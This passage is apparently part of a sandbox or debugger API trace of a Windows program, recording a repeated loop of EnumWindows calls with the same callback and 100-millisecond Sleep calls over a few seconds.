EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.540] Sleep (dwMilliseconds=0x64) [0277.542] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.542] Sleep (dwMilliseconds=0x64) [0277.544] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.545] Sleep (dwMilliseconds=0x64) [0277.546] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.547] Sleep (dwMilliseconds=0x64) [0277.548] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.549] Sleep (dwMilliseconds=0x64) [0277.550] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.551] Sleep (dwMilliseconds=0x64) [0277.552] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.553] Sleep (dwMilliseconds=0x64) [0277.554] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.555] Sleep (dwMilliseconds=0x64) [0277.556] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.557] Sleep (dwMilliseconds=0x64) [0277.558] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.560] Sleep (dwMilliseconds=0x64) [0277.561] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.562] Sleep (dwMilliseconds=0x64) [0277.563] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.564] Sleep (dwMilliseconds=0x64) [0277.565] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.566] Sleep (dwMilliseconds=0x64) [0277.567] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.568] Sleep (dwMilliseconds=0x64) [0277.569] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.570] Sleep (dwMilliseconds=0x64) [0277.571] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.572] Sleep (dwMilliseconds=0x64) [0277.574] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.574] Sleep (dwMilliseconds=0x64) [0277.576] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.576] Sleep (dwMilliseconds=0x64) [0277.578] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.579] Sleep (dwMilliseconds=0x64) [0277.580] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.581] Sleep (dwMilliseconds=0x64) [0277.583] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.583] Sleep (dwMilliseconds=0x64) [0277.584] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.585] Sleep (dwMilliseconds=0x64) [0277.587] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.587] Sleep (dwMilliseconds=0x64) [0277.589] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.590] Sleep (dwMilliseconds=0x64) [0277.592] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.593] Sleep (dwMilliseconds=0x64) [0277.594] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.595] Sleep (dwMilliseconds=0x64) [0277.596] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.597] Sleep (dwMilliseconds=0x64) [0277.598] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.599] Sleep (dwMilliseconds=0x64) [0277.601] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.601] Sleep (dwMilliseconds=0x64) [0277.602] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.603] Sleep (dwMilliseconds=0x64) [0277.605] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.605] Sleep (dwMilliseconds=0x64) [0277.606] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.607] Sleep (dwMilliseconds=0x64) [0277.608] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.609] Sleep (dwMilliseconds=0x64) [0277.611] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.611] Sleep (dwMilliseconds=0x64) [0277.613] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.613] Sleep (dwMilliseconds=0x64) [0277.615] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.615] Sleep (dwMilliseconds=0x64) [0277.616] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.617] Sleep (dwMilliseconds=0x64) [0277.619] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.619] Sleep (dwMilliseconds=0x64) [0277.621] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.622] Sleep (dwMilliseconds=0x64) [0277.623] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.623] Sleep (dwMilliseconds=0x64) [0277.625] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.626] Sleep (dwMilliseconds=0x64) [0277.628] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.628] Sleep (dwMilliseconds=0x64) [0277.631] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.632] Sleep (dwMilliseconds=0x64) [0277.634] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.634] Sleep (dwMilliseconds=0x64) [0277.635] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.636] Sleep (dwMilliseconds=0x64) [0277.638] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.638] Sleep (dwMilliseconds=0x64) [0277.640] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.641] Sleep (dwMilliseconds=0x64) [0277.642] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.643] Sleep (dwMilliseconds=0x64) [0277.644] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.645] Sleep (dwMilliseconds=0x64) [0277.646] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.647] Sleep (dwMilliseconds=0x64) [0277.648] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.648] Sleep (dwMilliseconds=0x64) [0277.653] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.653] Sleep (dwMilliseconds=0x64) [0277.655] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.655] Sleep (dwMilliseconds=0x64) [0277.657] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.657] Sleep (dwMilliseconds=0x64) [0277.659] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.660] Sleep (dwMilliseconds=0x64) [0277.709] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.710] Sleep (dwMilliseconds=0x64) [0277.712] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.713] Sleep (dwMilliseconds=0x64) [0277.714] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.717] Sleep (dwMilliseconds=0x64) [0277.719] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.720] Sleep (dwMilliseconds=0x64) [0277.721] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.722] Sleep (dwMilliseconds=0x64) [0277.723] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.724] Sleep (dwMilliseconds=0x64) [0277.726] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.726] Sleep (dwMilliseconds=0x64) [0277.749] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.750] Sleep (dwMilliseconds=0x64) [0277.833] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.834] Sleep (dwMilliseconds=0x64) [0277.864] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.865] Sleep (dwMilliseconds=0x64) [0277.888] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.889] Sleep (dwMilliseconds=0x64) [0277.891] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.891] Sleep (dwMilliseconds=0x64) [0277.893] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.893] Sleep (dwMilliseconds=0x64) [0277.895] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0277.895] Sleep (dwMilliseconds=0x64) [0278.042] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0278.043] Sleep (dwMilliseconds=0x64) [0278.045] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0278.045] Sleep (dwMilliseconds=0x64) [0278.047] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0278.047] Sleep (dwMilliseconds=0x64) [0278.059] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0278.060] Sleep (dwMilliseconds=0x64) [0278.070] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0278.071] Sleep (dwMilliseconds=0x64) [0278.082] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0278.083] Sleep (dwMilliseconds=0x64) [0278.276] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0278.277] Sleep (dwMilliseconds=0x64) [0278.289] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0278.291] Sleep (dwMilliseconds=0x64) [0278.292] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0278.293] Sleep (dwMilliseconds=0x64) [0278.295] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0278.296] Sleep (dwMilliseconds=0x64) [0278.306] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0278.307] Sleep (dwMilliseconds=0x64) [0278.370] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0278.371] Sleep (dwMilliseconds=0x64) [0278.466] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0278.467] Sleep (dwMilliseconds=0x64) [0278.474] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0278.475] Sleep (dwMilliseconds=0x64) [0278.477] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0278.477] Sleep (dwMilliseconds=0x64) [0278.479] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0278.480] Sleep (dwMilliseconds=0x64) [0278.481] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0278.482] Sleep (dwMilliseconds=0x64) [0278.483] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0278.484] Sleep (dwMilliseconds=0x64) [0278.485] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0278.486] Sleep (dwMilliseconds=0x64) [0278.493] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0278.494] Sleep (dwMilliseconds=0x64) [0278.501] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0278.502] Sleep (dwMilliseconds=0x64) [0278.644] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0278.645] Sleep (dwMilliseconds=0x64) [0278.652] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0278.654] Sleep (dwMilliseconds=0x64) [0278.661] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0278.662] Sleep (dwMilliseconds=0x64) [0278.665] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0278.666] Sleep (dwMilliseconds=0x64) [0278.667] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0278.668] Sleep (dwMilliseconds=0x64) [0278.670] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0278.670] Sleep (dwMilliseconds=0x64) [0278.672] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0278.673] Sleep (dwMilliseconds=0x64) [0278.768] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0278.769] Sleep (dwMilliseconds=0x64) [0278.780] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0278.781] Sleep (dwMilliseconds=0x64) [0278.790] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0278.792] Sleep (dwMilliseconds=0x64) [0278.793] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0278.794] Sleep (dwMilliseconds=0x64) [0278.795] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0278.796] Sleep (dwMilliseconds=0x64) [0278.798] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0278.798] Sleep (dwMilliseconds=0x64) [0278.800] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0278.800] Sleep (dwMilliseconds=0x64) [0278.802] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0278.802] Sleep (dwMilliseconds=0x64) [0278.804] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0278.804] Sleep (dwMilliseconds=0x64) [0278.806] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0278.806] Sleep (dwMilliseconds=0x64) [0278.809] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0278.809] Sleep (dwMilliseconds=0x64) [0278.922] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0278.924] Sleep (dwMilliseconds=0x64) [0278.933] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0278.934] Sleep (dwMilliseconds=0x64) [0279.067] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0279.069] Sleep (dwMilliseconds=0x64) [0279.076] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0279.077] Sleep (dwMilliseconds=0x64) [0279.083] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0279.084] Sleep (dwMilliseconds=0x64) [0279.091] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0279.092] Sleep (dwMilliseconds=0x64) [0279.100] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0279.101] Sleep (dwMilliseconds=0x64) [0279.137] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0279.139] Sleep (dwMilliseconds=0x64) [0279.209] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0279.211] Sleep (dwMilliseconds=0x64) [0279.219] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0279.220] Sleep (dwMilliseconds=0x64) [0279.222] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0279.222] Sleep (dwMilliseconds=0x64) [0279.224] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0279.224] Sleep (dwMilliseconds=0x64) [0279.226] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0279.226] Sleep (dwMilliseconds=0x64) [0279.235] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0279.235] Sleep (dwMilliseconds=0x64) [0279.243] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0279.244] Sleep (dwMilliseconds=0x64) [0279.349] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0279.351] Sleep (dwMilliseconds=0x64) [0279.358] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0279.359] Sleep (dwMilliseconds=0x64) [0279.367] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0279.368] Sleep (dwMilliseconds=0x64) [0279.375] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0279.376] Sleep (dwMilliseconds=0x64) [0279.378] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0279.379] Sleep (dwMilliseconds=0x64) [0279.464] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0279.465] Sleep (dwMilliseconds=0x64) [0279.511] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0279.513] Sleep (dwMilliseconds=0x64) [0279.521] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0279.521] Sleep (dwMilliseconds=0x64) [0279.523] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0279.523] Sleep (dwMilliseconds=0x64) [0279.525] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0279.525] Sleep (dwMilliseconds=0x64) [0279.527] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0279.527] Sleep (dwMilliseconds=0x64) [0279.529] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0279.529] Sleep (dwMilliseconds=0x64) [0279.531] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0279.531] Sleep (dwMilliseconds=0x64) [0279.537] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0279.537] Sleep (dwMilliseconds=0x64) [0279.541] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0279.542] Sleep (dwMilliseconds=0x64) [0279.669] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0279.670] Sleep (dwMilliseconds=0x64) [0279.682] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0279.682] Sleep (dwMilliseconds=0x64) [0279.684] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0279.685] Sleep (dwMilliseconds=0x64) [0279.686] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0279.687] Sleep (dwMilliseconds=0x64) [0279.689] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0279.689] Sleep (dwMilliseconds=0x64) [0279.697] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0279.697] Sleep (dwMilliseconds=0x64) [0279.704] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0279.705] Sleep (dwMilliseconds=0x64) [0279.847] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0279.848] Sleep (dwMilliseconds=0x64) [0279.851] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0279.852] Sleep (dwMilliseconds=0x64) [0279.854] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0279.855] Sleep (dwMilliseconds=0x64) [0279.858] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0279.859] Sleep (dwMilliseconds=0x64) [0279.863] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0279.864] Sleep (dwMilliseconds=0x64) [0279.867] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0279.868] Sleep (dwMilliseconds=0x64) [0279.878] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0279.879] Sleep (dwMilliseconds=0x64) [0279.880] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0279.881] Sleep (dwMilliseconds=0x64) [0280.030] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0280.031] Sleep (dwMilliseconds=0x64) [0280.043] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0280.044] Sleep (dwMilliseconds=0x64) [0280.203] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0280.205] Sleep (dwMilliseconds=0x64) [0280.216] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0280.218] Sleep (dwMilliseconds=0x64) [0280.227] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0280.228] Sleep (dwMilliseconds=0x64) [0280.295] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0280.296] Sleep (dwMilliseconds=0x64) [0280.337] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0280.338] Sleep (dwMilliseconds=0x64) [0280.340] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0280.340] Sleep (dwMilliseconds=0x64) [0280.342] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0280.342] Sleep (dwMilliseconds=0x64) [0280.344] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0280.344] Sleep (dwMilliseconds=0x64) [0280.346] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0280.346] Sleep (dwMilliseconds=0x64) [0280.348] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0280.348] Sleep (dwMilliseconds=0x64) [0280.350] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0280.351] Sleep (dwMilliseconds=0x64) [0280.352] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0280.353] Sleep (dwMilliseconds=0x64) [0280.361] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0280.361] Sleep (dwMilliseconds=0x64) [0280.373] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0280.374] Sleep (dwMilliseconds=0x64) [0280.486] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0280.487] Sleep (dwMilliseconds=0x64) [0280.502] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0280.503] Sleep (dwMilliseconds=0x64) [0280.510] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0280.511] Sleep (dwMilliseconds=0x64) [0280.518] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0280.519] Sleep (dwMilliseconds=0x64) [0280.621] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0280.622] Sleep (dwMilliseconds=0x64) [0280.631] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0280.632] Sleep (dwMilliseconds=0x64) [0280.639] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0280.640] Sleep (dwMilliseconds=0x64) [0280.642] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0280.643] Sleep (dwMilliseconds=0x64) [0280.644] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0280.644] Sleep (dwMilliseconds=0x64) [0280.647] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0280.647] Sleep (dwMilliseconds=0x64) [0280.649] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0280.649] Sleep (dwMilliseconds=0x64) [0280.651] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0280.651] Sleep (dwMilliseconds=0x64) [0280.659] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0280.660] Sleep (dwMilliseconds=0x64) [0280.667] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0280.667] Sleep (dwMilliseconds=0x64) [0280.773] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0280.774] Sleep (dwMilliseconds=0x64) [0280.776] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0280.777] Sleep (dwMilliseconds=0x64) [0280.778] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0280.779] Sleep (dwMilliseconds=0x64) [0280.783] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0280.783] Sleep (dwMilliseconds=0x64) [0280.786] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0280.787] Sleep (dwMilliseconds=0x64) [0280.790] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0280.790] Sleep (dwMilliseconds=0x64) [0280.796] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0280.797] Sleep (dwMilliseconds=0x64) [0280.798] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0280.799] Sleep (dwMilliseconds=0x64) [0280.800] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0280.801] Sleep (dwMilliseconds=0x64) [0280.804] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0280.804] Sleep (dwMilliseconds=0x64) [0280.910] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0280.911] Sleep (dwMilliseconds=0x64) [0280.913] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0280.913] Sleep (dwMilliseconds=0x64) [0280.915] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0280.915] Sleep (dwMilliseconds=0x64) [0280.917] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0280.917] Sleep (dwMilliseconds=0x64) [0280.918] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0280.918] Sleep (dwMilliseconds=0x64) [0280.920] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0280.920] Sleep (dwMilliseconds=0x64) [0280.922] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0280.923] Sleep (dwMilliseconds=0x64) [0280.927] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0280.927] Sleep (dwMilliseconds=0x64) [0280.929] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0280.929] Sleep (dwMilliseconds=0x64) [0280.931] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0280.932] Sleep (dwMilliseconds=0x64) [0280.933] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0280.934] Sleep (dwMilliseconds=0x64) [0280.965] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0280.966] Sleep (dwMilliseconds=0x64) [0280.975] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0280.975] Sleep (dwMilliseconds=0x64) [0281.166] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0281.168] Sleep (dwMilliseconds=0x64) [0281.169] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0281.170] Sleep (dwMilliseconds=0x64) [0281.172] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0281.172] Sleep (dwMilliseconds=0x64) [0281.174] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0281.174] Sleep (dwMilliseconds=0x64) [0281.182] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0281.183] Sleep (dwMilliseconds=0x64) [0281.189] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0281.190] Sleep (dwMilliseconds=0x64) [0281.197] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0281.197] Sleep (dwMilliseconds=0x64) [0281.306] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0281.307] Sleep (dwMilliseconds=0x64) [0281.315] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0281.316] Sleep (dwMilliseconds=0x64) [0281.325] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0281.326] Sleep (dwMilliseconds=0x64) [0281.403] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0281.404] Sleep (dwMilliseconds=0x64) [0281.474] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0281.475] Sleep (dwMilliseconds=0x64) [0281.655] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0281.657] Sleep (dwMilliseconds=0x64) [0281.660] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0281.660] Sleep (dwMilliseconds=0x64) [0281.663] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0281.664] Sleep (dwMilliseconds=0x64) [0281.666] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0281.666] Sleep (dwMilliseconds=0x64) [0281.667] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0281.668] Sleep (dwMilliseconds=0x64) [0281.669] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0281.670] Sleep (dwMilliseconds=0x64) [0281.671] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0281.672] Sleep (dwMilliseconds=0x64) [0281.682] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0281.683] Sleep (dwMilliseconds=0x64) [0281.691] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0281.692] Sleep (dwMilliseconds=0x64) [0281.911] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0281.912] Sleep (dwMilliseconds=0x64) [0282.057] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0282.058] Sleep (dwMilliseconds=0x64) [0282.066] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0282.066] Sleep (dwMilliseconds=0x64) [0282.068] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0282.069] Sleep (dwMilliseconds=0x64) [0282.070] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0282.071] Sleep (dwMilliseconds=0x64) [0282.080] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0282.081] Sleep (dwMilliseconds=0x64) [0282.094] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0282.095] Sleep (dwMilliseconds=0x64) [0282.109] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0282.110] Sleep (dwMilliseconds=0x64) [0282.238] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0282.239] Sleep (dwMilliseconds=0x64) [0282.246] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0282.247] Sleep (dwMilliseconds=0x64) [0282.256] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0282.257] Sleep (dwMilliseconds=0x64) [0282.264] 